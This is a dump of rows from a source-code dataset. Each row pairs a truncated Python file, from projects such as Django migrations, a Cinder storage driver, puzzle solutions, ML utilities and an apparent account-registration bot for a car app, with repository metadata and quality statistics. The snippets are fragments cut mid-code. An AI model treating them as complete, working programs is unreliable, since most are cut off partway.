[ "Apache-2.0" ]
null
null
null
######### # Copyright (c) 2016 GigaSpaces Technologies Ltd. All rights reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless...
34.207317
79
0.659893
595
5,610
5.984874
0.287395
0.057287
0.045493
0.056164
0.305251
0.276327
0.276327
0.242909
0.18843
0.172423
0
0.002149
0.253476
5,610
163
80
34.417178
0.848138
0.145633
0
0.198113
0
0
0.067815
0
0
0
0
0
0
1
0.075472
false
0.09434
0.09434
0
0.311321
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
48514c4855c82f6511561bc091163063091c1e9c
664
py
Python
ptranking/ltr_adhoc/util/one_hot_utils.py
junj2ejj/ptranking.github.io
06fa9751dd2eca89749ba4bb9641e4272cfc30a1
[ "MIT" ]
1
2020-09-24T10:38:53.000Z
2020-09-24T10:38:53.000Z
ptranking/ltr_adhoc/util/one_hot_utils.py
junj2ejj/ptranking.github.io
06fa9751dd2eca89749ba4bb9641e4272cfc30a1
[ "MIT" ]
null
null
null
ptranking/ltr_adhoc/util/one_hot_utils.py
junj2ejj/ptranking.github.io
06fa9751dd2eca89749ba4bb9641e4272cfc30a1
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """Description """ import torch from ptranking.ltr_global import global_gpu as gpu def get_one_hot_reprs(batch_stds): """ Get one-hot representation of batch ground-truth labels """ batch_size = batch_stds.size(0) hist_size = batch_stds.size(1) int_batch...
30.181818
125
0.74247
105
664
4.409524
0.428571
0.213823
0.103672
0.073434
0.12527
0.12527
0
0
0
0
0
0.014109
0.146084
664
21
126
31.619048
0.802469
0.167169
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0.2
0
0.4
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
485f7ffc14de09acdf65c094b7c9e15395d4ca1b
1,001
py
Python
problems/095.py
JoshKarpel/Euler
9c4a89cfe4b0114d84a82e2b2894c7b8af815e93
[ "MIT" ]
1
2017-09-20T22:26:24.000Z
2017-09-20T22:26:24.000Z
problems/095.py
JoshKarpel/euler-python
9c4a89cfe4b0114d84a82e2b2894c7b8af815e93
[ "MIT" ]
null
null
null
problems/095.py
JoshKarpel/euler-python
9c4a89cfe4b0114d84a82e2b2894c7b8af815e93
[ "MIT" ]
null
null
null
from problems import utils, mymath @utils.memoize def sum_proper_factors(n): return sum(mymath.proper_factorization(n)) def solve(): upper_bound = 1000000 chains = dict() for start_number in range(1, upper_bound): chain = [start_number] current_number = sum_proper_factors(start_num...
26.342105
87
0.632368
122
1,001
4.852459
0.385246
0.219595
0.081081
0.074324
0.118243
0.118243
0
0
0
0
0
0.016807
0.286713
1,001
37
88
27.054054
0.812325
0
0
0.076923
0
0
0.007992
0
0
0
0
0
0
1
0.076923
false
0
0.038462
0.038462
0.192308
0.038462
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4868d79bbf2ff6bbae4f4cb4d9abf9fab912436f
724
py
Python
ansiblelater/rules/CheckScmInSrc.py
ankitdobhal/ansible-later
a107cd2821e310fd459a7f9b802d5794f2b96f35
[ "MIT" ]
38
2020-10-14T09:40:58.000Z
2022-03-17T10:45:22.000Z
ansiblelater/rules/CheckScmInSrc.py
ankitdobhal/ansible-later
a107cd2821e310fd459a7f9b802d5794f2b96f35
[ "MIT" ]
188
2020-09-29T09:43:54.000Z
2022-03-04T08:45:42.000Z
ansiblelater/rules/CheckScmInSrc.py
ankitdobhal/ansible-later
a107cd2821e310fd459a7f9b802d5794f2b96f35
[ "MIT" ]
4
2021-02-10T03:35:19.000Z
2022-01-17T15:54:39.000Z
from ansible.parsing.yaml.objects import AnsibleMapping from ansiblelater.standard import StandardBase class CheckScmInSrc(StandardBase): sid = "ANSIBLE0005" description = "Use `scm:` key rather than `src: scm+url`" helptext = "usage of `src: scm+url` not recommended" version = "0.1" types = ["r...
30.166667
82
0.627072
81
724
5.54321
0.641975
0.026726
0.040089
0
0
0
0
0
0
0
0
0.011257
0.263812
724
23
83
31.478261
0.831144
0
0
0
0
0
0.15884
0
0
0
0
0
0
1
0.0625
false
0
0.125
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
486936b454230e71425f5f21ffabf8c3b40a119e
595
py
Python
DMOJ/CCC/slot machine.py
eddiegz/Personal-C
f7869826216e5c665f8f646502141f0dc680e545
[ "MIT" ]
3
2021-05-15T08:18:09.000Z
2021-05-17T04:41:57.000Z
DMOJ/CCC/slot machine.py
eddiegz/Personal-C
f7869826216e5c665f8f646502141f0dc680e545
[ "MIT" ]
null
null
null
DMOJ/CCC/slot machine.py
eddiegz/Personal-C
f7869826216e5c665f8f646502141f0dc680e545
[ "MIT" ]
null
null
null
quarter=int(input()) p1=int(input()) p2=int(input()) p3=int(input()) time=0 while quarter>0: if quarter == 0: continue p1+=1 quarter-=1 time+=1 if p1==35: quarter+=30 p1=0 if quarter == 0: continue time+=1 p2+=1 quarter-=1 ...
16.081081
56
0.438655
77
595
3.38961
0.337662
0.122605
0.114943
0.206897
0.145594
0
0
0
0
0
0
0.122024
0.435294
595
37
57
16.081081
0.654762
0
0
0.387097
0
0
0.080357
0
0
0
0
0
0
1
0
false
0
0
0
0
0.032258
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4869a5e537b1616b1387d41f76532922834d0c3e
327
py
Python
project/app/migrations/0003_auto_20210125_0924.py
dbinetti/kidsallin
147491cdfbe812ffde91725193ec16c03083c1da
[ "BSD-3-Clause" ]
null
null
null
project/app/migrations/0003_auto_20210125_0924.py
dbinetti/kidsallin
147491cdfbe812ffde91725193ec16c03083c1da
[ "BSD-3-Clause" ]
null
null
null
project/app/migrations/0003_auto_20210125_0924.py
dbinetti/kidsallin
147491cdfbe812ffde91725193ec16c03083c1da
[ "BSD-3-Clause" ]
null
null
null
# Generated by Django 3.1.5 on 2021-01-25 16:24 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('app', '0002_auto_20210124_0610'), ] operations = [ migrations.RenameModel( old_name='Parent', new_name='Account', ),...
18.166667
47
0.590214
36
327
5.222222
0.861111
0
0
0
0
0
0
0
0
0
0
0.134783
0.296636
327
17
48
19.235294
0.682609
0.137615
0
0
1
0
0.139286
0.082143
0
0
0
0
0
1
0
false
0
0.090909
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
486abe98f15277d75707a2bda0dddf48de43bab7
28,203
py
Python
cinder/volume/drivers/emc/emc_vmax_provision.py
kazum/cinder
370b8e60c3166b289c8da924a227dd1bc63f8b8a
[ "Apache-2.0" ]
null
null
null
cinder/volume/drivers/emc/emc_vmax_provision.py
kazum/cinder
370b8e60c3166b289c8da924a227dd1bc63f8b8a
[ "Apache-2.0" ]
null
null
null
cinder/volume/drivers/emc/emc_vmax_provision.py
kazum/cinder
370b8e60c3166b289c8da924a227dd1bc63f8b8a
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2012 - 2014 EMC Corporation. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
42.731818
79
0.587987
2,464
28,203
6.657062
0.137175
0.01646
0.010608
0.031823
0.574529
0.532281
0.500701
0.458697
0.447357
0.427422
0
0.005087
0.337836
28,203
659
80
42.796662
0.873253
0.023863
0
0.585185
0
0
0.141538
0.023779
0
0
0
0
0
0
null
null
0
0.012346
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
486d212547e00f7831ca70c40d4c968f71b4de71
4,575
py
Python
LynkCoHelper/lynco_regist_wrok.py
21haoshaonian/LynkCoHelper
b4e5d67583190bf09fe44902499c3a99463b4df5
[ "MIT" ]
null
null
null
LynkCoHelper/lynco_regist_wrok.py
21haoshaonian/LynkCoHelper
b4e5d67583190bf09fe44902499c3a99463b4df5
[ "MIT" ]
null
null
null
LynkCoHelper/lynco_regist_wrok.py
21haoshaonian/LynkCoHelper
b4e5d67583190bf09fe44902499c3a99463b4df5
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import threading import time import base64 from lynkco_app_request import lynkco_app_request from com.uestcit.api.gateway.sdk.auth.aes import aes as AES from sms_request import sms_request import json import sys import os import re class lynco_regist_wrok(threading.Thread): """新开线程处理任务""" d...
39.782609
113
0.551257
535
4,575
4.571963
0.250467
0.058872
0.063778
0.068684
0.32175
0.237531
0.213818
0.182747
0.153312
0.091169
0
0.022936
0.285246
4,575
115
114
39.782609
0.725076
0.055956
0
0.202247
0
0
0.136427
0
0
0
0
0
0
1
0.044944
false
0.067416
0.11236
0
0.269663
0.123596
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
4875786274d1dcdef100393c55e236d7510c92a2
10,457
py
Python
Foundry_Manager_v2.py
MrVauxs/Foundry-Selection-Menu
13f9164595c3c11fe01e5d44cd35bcc79b6a34df
[ "MIT" ]
5
2020-09-26T10:16:17.000Z
2022-01-06T14:31:54.000Z
Foundry_Manager_v2.py
MrVauxs/Foundry-Selection-Menu
13f9164595c3c11fe01e5d44cd35bcc79b6a34df
[ "MIT" ]
null
null
null
Foundry_Manager_v2.py
MrVauxs/Foundry-Selection-Menu
13f9164595c3c11fe01e5d44cd35bcc79b6a34df
[ "MIT" ]
1
2020-09-07T23:36:17.000Z
2020-09-07T23:36:17.000Z
import requests from bottle import route, run, template,ServerAdapter,redirect import subprocess from html.parser import HTMLParser import threading import time ssl_cert=None #XYZ - 'fullchain.pem' ssl_key=None #XYZ - 'privkey.pem' world_mapping={"URL_Path":["world-folder","Name To Be Shown"], "URL_Path2":["world-fo...
33.516026
280
0.589557
1,281
10,457
4.712724
0.314598
0.009276
0.010933
0.019877
0.308597
0.264038
0.247143
0.228259
0.209376
0.209376
0
0.018476
0.29607
10,457
311
281
33.623794
0.801657
0.118772
0
0.430894
0
0.03252
0.491782
0.041145
0.004065
0
0
0
0
0
null
null
0
0.036585
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
48769d3fe736152c54bf8b09ad3360ea09bd2080
1,181
py
Python
scripts/12865.py
JihoChoi/BOJ
08974a9db8ebaa299ace242e951cac53ab55fc4d
[ "MIT" ]
null
null
null
scripts/12865.py
JihoChoi/BOJ
08974a9db8ebaa299ace242e951cac53ab55fc4d
[ "MIT" ]
null
null
null
scripts/12865.py
JihoChoi/BOJ
08974a9db8ebaa299ace242e951cac53ab55fc4d
[ "MIT" ]
null
null
null
""" TAG: 0-1 Knapsack Problem, Dynamic Programming (DP), O(nW) References: - https://www.geeksforgeeks.org/0-1-knapsack-problem-dp-10/ weights and values of n items, capacity -> max value """ N, W = map(int, input().split()) # number of items, capacity weights = [] values = [] for i in range(N): w, v = m...
21.87037
83
0.516511
191
1,181
3.193717
0.246073
0.02623
0.157377
0.180328
0.337705
0.239344
0
0
0
0
0
0.035237
0.303133
1,181
53
84
22.283019
0.705954
0.187976
0
0
0
0
0
0
0
0
0
0
0
1
0.052632
false
0
0
0
0.105263
0.052632
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
487c49f921ee4340fdfc140e8ff73bccf0d40cf6
3,273
py
Python
test/broken_test_log.py
Brimizer/python-ant
2b99693b4754156d401a0bd90e02357e8358c1f5
[ "MIT" ]
null
null
null
test/broken_test_log.py
Brimizer/python-ant
2b99693b4754156d401a0bd90e02357e8358c1f5
[ "MIT" ]
null
null
null
test/broken_test_log.py
Brimizer/python-ant
2b99693b4754156d401a0bd90e02357e8358c1f5
[ "MIT" ]
1
2019-01-11T22:22:06.000Z
2019-01-11T22:22:06.000Z
# -*- coding: utf-8 -*- ############################################################################## # # Copyright (c) 2011, Martín Raúl Villalba # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the So...
33.397959
78
0.633364
432
3,273
4.74537
0.354167
0.061463
0.026341
0.038049
0.299512
0.245854
0.245854
0.245854
0.245854
0.150244
0
0.019478
0.215704
3,273
97
79
33.742268
0.77912
0.355943
0
0.339623
0
0
0.026466
0.014011
0
0
0
0
0.433962
1
0.113208
false
0.018868
0.037736
0
0.188679
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
4880ecda66e3c2c409be46833975599cd4502de6
641
py
Python
doc/tutorial/getargs.py
OliverTED/doit
a6f75f312390aba352c3f00680cd32609323dbc2
[ "MIT" ]
null
null
null
doc/tutorial/getargs.py
OliverTED/doit
a6f75f312390aba352c3f00680cd32609323dbc2
[ "MIT" ]
1
2018-10-02T19:28:08.000Z
2018-10-02T19:28:08.000Z
doc/tutorial/getargs.py
smheidrich/doit
1f9c3c755c96508ca2b1b2668f102f9d2da9c614
[ "MIT" ]
null
null
null
DOIT_CONFIG = {'default_tasks': ['use_cmd', 'use_python']} def task_compute(): def comp(): return {'x':5,'y':10, 'z': 20} return {'actions': [(comp,)]} def task_use_cmd(): return {'actions': ['echo x=%(x)s, z=%(z)s'], 'getargs': {'x': ('compute', 'x'), 'z': ('compute...
24.653846
58
0.452418
79
641
3.531646
0.35443
0.075269
0.071685
0.114695
0.150538
0
0
0
0
0
0
0.015873
0.312012
641
25
59
25.64
0.61678
0
0
0.2
0
0
0.26053
0
0
0
0
0
0
0
null
null
0
0
null
null
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
4883b0040e8dc5ec47ef273298b6d359bf3bcacc
2,409
py
Python
EasyRecycle/tests/unittests/core/views/test_BecomeCommercialAPIView.py
YuriyLisovskiy/EasyRecycle
49f1b84931145a3e95224e411d22ed7701e5bfe0
[ "MIT" ]
null
null
null
EasyRecycle/tests/unittests/core/views/test_BecomeCommercialAPIView.py
YuriyLisovskiy/EasyRecycle
49f1b84931145a3e95224e411d22ed7701e5bfe0
[ "MIT" ]
null
null
null
EasyRecycle/tests/unittests/core/views/test_BecomeCommercialAPIView.py
YuriyLisovskiy/EasyRecycle
49f1b84931145a3e95224e411d22ed7701e5bfe0
[ "MIT" ]
null
null
null
from django.urls import reverse from rest_framework import status from rest_framework.test import force_authenticate from rest_framework_simplejwt.state import User from core.views import DeactivateSelfAPIView, BecomeCommercialAPIView from tests.unittests.common import APIFactoryTestCase class BecomeCommercialAPITes...
42.263158
86
0.71565
264
2,409
6.329545
0.246212
0.09216
0.041891
0.065829
0.576302
0.527229
0.527229
0.527229
0.527229
0.527229
0
0.012214
0.184309
2,409
56
87
43.017857
0.838168
0
0
0.468085
0
0
0.094645
0.060191
0
0
0
0
0.12766
1
0.12766
false
0.085106
0.12766
0
0.276596
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6f8edf6b803563f114318f388210647b9924420a
11,263
py
Python
avalanche/evaluation/metrics/gpu_usage.py
aishikhar/avalanche
39c361aba1663795ed33f093ab2e15cc5792026e
[ "MIT" ]
1
2021-08-11T19:43:38.000Z
2021-08-11T19:43:38.000Z
avalanche/evaluation/metrics/gpu_usage.py
aishikhar/avalanche
39c361aba1663795ed33f093ab2e15cc5792026e
[ "MIT" ]
null
null
null
avalanche/evaluation/metrics/gpu_usage.py
aishikhar/avalanche
39c361aba1663795ed33f093ab2e15cc5792026e
[ "MIT" ]
1
2021-04-09T08:10:27.000Z
2021-04-09T08:10:27.000Z
################################################################################ # Copyright (c) 2021 ContinualAI. # # Copyrights licensed under the MIT License. # # See the accompanying LICENSE file for terms. ...
29.717678
80
0.589097
1,310
11,263
4.868702
0.166412
0.03371
0.026811
0.018344
0.520853
0.492945
0.4873
0.473816
0.473816
0.473816
0
0.004622
0.308444
11,263
378
81
29.796296
0.814225
0.27435
0
0.502762
0
0
0.078166
0.019713
0
0
0
0
0.005525
1
0.226519
false
0
0.049724
0.060773
0.403315
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
6f93e22cf26c9a478c3691514ddab933b92e050e
280
py
Python
scripts/test_process_traj.py
hyyh28/trajectory-transformer
4a369b6d1c950c76d1792cf004644fa13040319c
[ "MIT" ]
null
null
null
scripts/test_process_traj.py
hyyh28/trajectory-transformer
4a369b6d1c950c76d1792cf004644fa13040319c
[ "MIT" ]
null
null
null
scripts/test_process_traj.py
hyyh28/trajectory-transformer
4a369b6d1c950c76d1792cf004644fa13040319c
[ "MIT" ]
null
null
null
import numpy as np import pickle expert_file = 'maze_expert.npy' imitation_agent_file = 'maze_agent.npy' with open(imitation_agent_file, 'rb') as handle: agent_data = pickle.load(handle) with open(expert_file, 'rb') as handle: expert_data = pickle.load(handle) print("OK")
31.111111
48
0.757143
44
280
4.590909
0.431818
0.09901
0.178218
0.138614
0
0
0
0
0
0
0
0
0.128571
280
9
49
31.111111
0.827869
0
0
0
0
0
0.124555
0
0
0
0
0
0
1
0
false
0
0.222222
0
0.222222
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6f985fc4f5c199385b03c83c5b2b06f32b9bac8b
3,475
py
Python
ec2/physbam/utils.py
schinmayee/nimbus
170cd15e24a7a88243a6ea80aabadc0fc0e6e177
[ "BSD-3-Clause" ]
20
2017-07-03T19:09:09.000Z
2021-09-10T02:53:56.000Z
ec2/physbam/utils.py
schinmayee/nimbus
170cd15e24a7a88243a6ea80aabadc0fc0e6e177
[ "BSD-3-Clause" ]
null
null
null
ec2/physbam/utils.py
schinmayee/nimbus
170cd15e24a7a88243a6ea80aabadc0fc0e6e177
[ "BSD-3-Clause" ]
9
2017-09-17T02:05:06.000Z
2020-01-31T00:12:01.000Z
#!/usr/bin/env python # Author: Omid Mashayekhi <omidm@stanford.edu> import sys import os import subprocess import config sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) import ec2 temp_file_name = '_temp_file_' def copy_binary_file_to_hosts(ip_addresses): for ip in ip_addresse...
26.937984
97
0.636835
427
3,475
4.985948
0.224824
0.067168
0.046031
0.055895
0.662752
0.616721
0.483326
0.394082
0.355566
0.355566
0
0.001436
0.198273
3,475
128
98
27.148438
0.762742
0.018705
0
0.416667
0
0
0.20558
0.106902
0.02381
0
0
0
0
0
null
null
0
0.059524
null
null
0.02381
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6f9d6fb07fd37fbb906d2b22ed6f41821f271822
198
py
Python
ishashad.py
albusdemens/Twitter-mining-project
67a2bd651459568bb74d64dde9cd76fc7925fd32
[ "MIT" ]
null
null
null
ishashad.py
albusdemens/Twitter-mining-project
67a2bd651459568bb74d64dde9cd76fc7925fd32
[ "MIT" ]
null
null
null
ishashad.py
albusdemens/Twitter-mining-project
67a2bd651459568bb74d64dde9cd76fc7925fd32
[ "MIT" ]
null
null
null
#To run the code, write #from ishashad import ishashad #then ishashad(number) def ishashad(n): if n % sum(map(int,str(n))) == 0: print("True") else: print("False") return
18
37
0.60101
29
198
4.103448
0.793103
0
0
0
0
0
0
0
0
0
0
0.006757
0.252525
198
11
38
18
0.797297
0.363636
0
0
0
0
0.072581
0
0
0
0
0
0
1
0.166667
false
0
0
0
0.333333
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fa203b91e4061ab9a5aeb13af78a9c24d505f2c
785
py
Python
faiss_utils.py
yizt/keras-lbl-IvS
3f98b698c56ae40954b4920da167f7c9e32024c8
[ "Apache-2.0" ]
22
2019-01-13T12:56:56.000Z
2020-11-03T01:39:20.000Z
faiss_utils.py
yizt/keras-lbl-IvS
3f98b698c56ae40954b4920da167f7c9e32024c8
[ "Apache-2.0" ]
null
null
null
faiss_utils.py
yizt/keras-lbl-IvS
3f98b698c56ae40954b4920da167f7c9e32024c8
[ "Apache-2.0" ]
5
2019-04-01T09:19:55.000Z
2020-05-26T14:38:06.000Z
# -*- coding: utf-8 -*- """ File Name: faiss_utils Description : faiss工具类 Author : mick.yi date: 2019/1/4 """ import faiss import numpy as np def get_index(dimension): sub_index = faiss.IndexFlatL2(dimension) index = faiss.IndexIDMap(sub_index) return index ...
21.216216
47
0.602548
100
785
4.6
0.54
0.034783
0.069565
0.1
0.113043
0
0
0
0
0
0
0.015873
0.277707
785
36
48
21.805556
0.795414
0.280255
0
0
0
0
0
0
0
0
0
0
0
1
0.214286
false
0
0.142857
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
6fa21afd208bf7323dcf7c8f05508069120736b0
475
py
Python
relogio.py
Glightman/project_jogo_POO
c5557871f7e4a2a264c03180581cb2a6b1dec1b9
[ "MIT" ]
1
2021-05-29T23:43:36.000Z
2021-05-29T23:43:36.000Z
relogio.py
Glightman/project_jogo_POO
c5557871f7e4a2a264c03180581cb2a6b1dec1b9
[ "MIT" ]
null
null
null
relogio.py
Glightman/project_jogo_POO
c5557871f7e4a2a264c03180581cb2a6b1dec1b9
[ "MIT" ]
2
2021-06-01T01:36:01.000Z
2021-06-01T01:36:59.000Z
class Relogio: def __init__(self): self.horas = 6 self.minutos = 0 self.dia = 1 def __str__(self): return f"{self.horas:02d}:{self.minutos:02d} do dia {self.dia:02d}" def avancaTempo(self, minutos): self.minutos += minutos while(self.minutos >= 60):...
23.75
75
0.492632
57
475
3.964912
0.368421
0.292035
0.070796
0.079646
0
0
0
0
0
0
0
0.062069
0.389474
475
19
76
25
0.717241
0
0
0
0
0.066667
0.120507
0.073996
0
0
0
0
0
1
0.2
false
0
0
0.066667
0.333333
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fa2c35d5d796a2e58e703cd256e4f54f2acff9f
432
py
Python
users/migrations/0004_auto_20191028_2154.py
icnmtrx/classified
c9515352e046293dacd66ba28cb32ae378edf832
[ "MIT" ]
null
null
null
users/migrations/0004_auto_20191028_2154.py
icnmtrx/classified
c9515352e046293dacd66ba28cb32ae378edf832
[ "MIT" ]
2
2021-06-08T20:56:16.000Z
2021-09-08T01:41:42.000Z
users/migrations/0004_auto_20191028_2154.py
icnmtrx/classified
c9515352e046293dacd66ba28cb32ae378edf832
[ "MIT" ]
null
null
null
# Generated by Django 2.2.5 on 2019-10-28 21:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0003_auto_20191028_1802'), ] operations = [ migrations.AlterField( model_name='profile', name='registered_a...
22.736842
90
0.62963
48
432
5.479167
0.791667
0
0
0
0
0
0
0
0
0
0
0.096875
0.259259
432
18
91
24
0.725
0.104167
0
0
1
0
0.163636
0.05974
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6fa4cb77b9686bd974f4ba0799278420d18f452c
1,928
py
Python
fewshot/models/basic_model_VAT_ENT.py
AhmedAyad89/Consitent-Prototypical-Networks-Semi-Supervised-Few-Shot-Learning
b0b805733ee6c42cee5ddd9eace94edd29f6120d
[ "MIT" ]
22
2019-03-13T02:19:17.000Z
2021-08-06T03:13:00.000Z
fewshot/models/basic_model_VAT_ENT.py
mattochal/Consitent-Prototypical-Networks-Semi-Supervised-Few-Shot-Learning
b0b805733ee6c42cee5ddd9eace94edd29f6120d
[ "MIT" ]
1
2019-07-27T14:33:02.000Z
2020-06-01T11:03:20.000Z
fewshot/models/basic_model_VAT_ENT.py
mattochal/Consitent-Prototypical-Networks-Semi-Supervised-Few-Shot-Learning
b0b805733ee6c42cee5ddd9eace94edd29f6120d
[ "MIT" ]
5
2019-03-07T06:18:51.000Z
2019-10-22T05:33:23.000Z
from __future__ import (absolute_import, division, print_function, unicode_literals) import numpy as np import tensorflow as tf from fewshot.models.kmeans_utils import compute_logits from fewshot.models.model import Model from fewshot.models.refine_model import RefineModel from fewshot.models...
33.824561
116
0.769191
287
1,928
4.923345
0.355401
0.070064
0.084218
0.029724
0.104742
0.079264
0.035386
0
0
0
0
0.007738
0.128631
1,928
56
117
34.428571
0.833333
0.026452
0
0
0
0
0.042712
0
0
0
0
0
0
1
0.025641
false
0
0.307692
0
0.384615
0.025641
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
6fa85d4b0b5bfa6ac386b4e088bb46a5cbd9b94a
614
py
Python
compose.py
luyao777/speech-robot
a00c9ac554b7b7a86af4a57d33acb50bbdc17822
[ "Apache-2.0" ]
null
null
null
compose.py
luyao777/speech-robot
a00c9ac554b7b7a86af4a57d33acb50bbdc17822
[ "Apache-2.0" ]
null
null
null
compose.py
luyao777/speech-robot
a00c9ac554b7b7a86af4a57d33acb50bbdc17822
[ "Apache-2.0" ]
null
null
null
#coding: utf-8 from aip import AipSpeech from config import DefaultConfig as opt class composer(): def __init__(self): pass def compose(self,text ='你好'): #百度后台获取的秘�? APP_ID = opt.baidu_app_id API_KEY = opt.baidu_api_key SECRET_KEY =opt.baidu_secret_key client = ...
26.695652
55
0.583062
82
614
4.146341
0.597561
0.044118
0.047059
0.064706
0
0
0
0
0
0
0.001629
0.009524
0.315961
614
22
56
27.909091
0.797619
0.039088
0
0
0
0
0.027257
0
0
0
0
0
0
1
0.117647
false
0.058824
0.117647
0
0.352941
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6fa9d472e775eb87721d162cdd4f797206aefbc8
264
py
Python
scripts/makeToast.py
zgrannan/Technical-Theatre-Assistant
8928e5f4f179f75f92035e898d102dd55f32e3f3
[ "MIT" ]
3
2017-01-05T20:02:23.000Z
2017-10-02T19:55:58.000Z
scripts/makeToast.py
zgrannan/Technical-Theatre-Assistant
8928e5f4f179f75f92035e898d102dd55f32e3f3
[ "MIT" ]
1
2016-05-17T20:20:19.000Z
2016-05-17T20:20:28.000Z
scripts/makeToast.py
zgrannan/Technical-Theatre-Assistant
8928e5f4f179f75f92035e898d102dd55f32e3f3
[ "MIT" ]
null
null
null
#makes a toast with the given string ID from sys import argv def make_toast (string_id): return "Toast.makeText(getBaseContext(), getString(R.string." + string_id + "), Toast.LENGTH_SHORT).show();" if ( argv[0] == "makeToast.py" ): print make_toast(argv[1])
24
109
0.708333
40
264
4.55
0.7
0.131868
0
0
0
0
0
0
0
0
0
0.008811
0.140152
264
10
110
26.4
0.792952
0.143939
0
0
0
0
0.419643
0.263393
0
0
0
0
0
0
null
null
0
0.2
null
null
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6fab9608b18da127d6b2008d803781b981e8468d
334
py
Python
crisiscleanup/calls/migrations/0011_merge_20180122_2308.py
CrisisCleanup/wcicp-call-service
0a00e092625e2a48c9807737a4b72e343e1ab0b9
[ "Apache-1.1" ]
null
null
null
crisiscleanup/calls/migrations/0011_merge_20180122_2308.py
CrisisCleanup/wcicp-call-service
0a00e092625e2a48c9807737a4b72e343e1ab0b9
[ "Apache-1.1" ]
null
null
null
crisiscleanup/calls/migrations/0011_merge_20180122_2308.py
CrisisCleanup/wcicp-call-service
0a00e092625e2a48c9807737a4b72e343e1ab0b9
[ "Apache-1.1" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-01-22 23:08 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('calls', '0010_auto_20180119_2117'), ('calls', '0007_auto_20180122_2157'), ] operati...
19.647059
48
0.658683
41
334
5.097561
0.829268
0
0
0
0
0
0
0
0
0
0
0.187023
0.215569
334
16
49
20.875
0.610687
0.203593
0
0
1
0
0.212928
0.174905
0
0
0
0
0
